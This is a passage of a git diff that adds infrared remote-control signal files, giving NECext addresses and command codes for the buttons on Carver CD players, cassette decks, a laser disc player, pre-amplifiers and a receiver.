000000000..b88a89c52 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3A 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir new file mode 100644 index 000000000..16d8ae685 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 09 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0A 00 00 00 +# +name: INTRO. +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0C 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0D 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 10 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 13 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 16 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 17 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 18 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 19 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1A 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1D 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir new file mode 100644 index 000000000..0c6eeee86 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: REPEAT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 01 00 00 00 +# +name: SEARCH_REV_<< +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 02 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 02 00 00 00 +# +name: SEARCH_FFWD_>> +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 03 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 03 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 04 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 05 00 00 00 +# +name: PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 06 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 07 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 08 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 09 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0C 00 00 00 +# +name: 1_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 11 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 11 00 00 00 +# +name: 2_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 12 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 12 00 00 00 +# +name: 3_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 13 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 13 00 00 00 +# +name: 4_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 14 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 14 00 00 00 +# +name: 5_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 15 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 15 00 00 00 +# +name: 6_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 16 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 16 00 00 00 +# +name: 7_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 17 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 17 00 00 00 +# +name: 8_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 18 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 18 00 00 00 +# +name: 9_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 19 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 19 00 00 00 +# +name: 10_DISC_SELECT +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 1A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir new file mode 100644 index 000000000..f048964bc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 10 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY_ON/OFF +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0C 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: A_->_B +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 17 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1E 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 40 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 42 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 43 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 44 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 45 00 00 00 +# +name: DISC_SELECTOR_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 46 00 00 00 +# +name: DISC_SELECTOR_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 47 00 00 00 +# +name: DISC_SELECTOR_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 48 00 00 00 +# +name: DISC_SELECTOR_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 49 00 00 00 +# +name: DISC_SELECTOR_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir new file mode 100644 index 000000000..ee236c18d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 05 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 06 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 07 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 08 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 0B 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 0C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 0E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 0F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 11 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 13 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 14 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 16 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 17 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 18 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 19 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 1A 00 00 00 +# +name: REPEAT_(1/ALL) +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 1B 00 00 00 +# +name: STOP/CLEAR_[] +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 1C 00 00 00 +# +name: PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: 63 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir new file mode 100644 index 000000000..df6ce21ec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 00 00 00 00 +# +name: REVIEW_<< +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 04 00 00 00 +# +name: CUE_>> +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 06 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 09 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 0A 00 00 00 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 0E 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 14 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 82 6F 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir new file mode 100644 index 000000000..2d96bae90 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 7E 00 00 +command: 19 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 87 7E 00 00 +command: 1A 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 87 7E 00 00 +command: 1C 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 87 7E 00 00 +command: 1D 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 87 7E 00 00 +command: 1E 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 87 7E 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir new file mode 100644 index 000000000..da821425a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: >L +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 20 00 00 00 +# +name: L< +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 21 00 00 00 +# +name: S/T +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 26 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 29 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2A 00 00 00 +# +name: <> +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 30 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 32 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir new file mode 100644 index 000000000..df9cf74a0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 06 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 07 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 1C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir new file mode 100644 index 000000000..97af23a07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_AUX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir new file mode 100644 index 000000000..b9b4890b4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir new file mode 100644 index 000000000..ff41189e7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: REMOTE_VOLUME_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 11 00 00 00 +# +name: REMOTE_VOLUME_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 12 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 40 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 42 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 43 00 00 00 +# +name: REMOTE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 45 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 53 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 54 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 55 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5B 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5C 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..e311d6241 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir new file mode 100644 index 000000000..3bc020ba6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir new file mode 100644 index 000000000..0b8404dd8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: PHONO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir new file mode 100644 index 000000000..97f1b05d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: DAT/TAPE_MONITOR +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir new file mode 100644 index 000000000..e6cf04003 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir new file mode 100644 index 000000000..aefd347ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir new file mode 100644 index 000000000..77d3517a5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CDV_1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: CDV_PLAY_> +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir new file mode 100644 index 000000000..7ed2ec7b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 08 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 09 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 09 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 0A 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 0B 00 00 00 +# +name: REMOTE_VOL_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 11 00 00 00 +# +name: REMOTE_VOL_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 12 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 40 00 00 00 +# +name: HOLOGRAM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 41 00 00 00 +# +name: VOLUME_MASTER_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 42 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 42 00 00 00 +# +name: VOLUME_MASTER_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 43 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 43 00 00 00 +# +name: REMOTE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 45 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 46 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 47 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 48 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 49 00 00 00 +# +name: 1/11 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4A 00 00 00 +# +name: 2/12 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4B 00 00 00 +# +name: 3/13 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4C 00 00 00 +# +name: 4/14 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4D 00 00 00 +# +name: 5/15 